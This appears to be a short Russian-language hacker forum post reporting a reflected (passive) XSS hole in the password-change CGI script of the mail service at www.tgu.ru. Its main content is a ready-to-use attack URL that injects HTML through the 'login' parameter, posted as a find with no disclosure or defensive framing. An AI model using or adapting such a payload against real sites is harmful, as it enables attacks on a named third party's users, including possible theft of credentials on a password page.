Passive Xss на www.tgu.ru (почтовик)
 

Почту основательно поковырять не смог, потому что там вход тока от какого-то местного прова. Наткнулся тока на это:

http://www.tgu.ru/cgi-bin/chpasswd.cgi?login="><h1>xaKed(xss)</h1>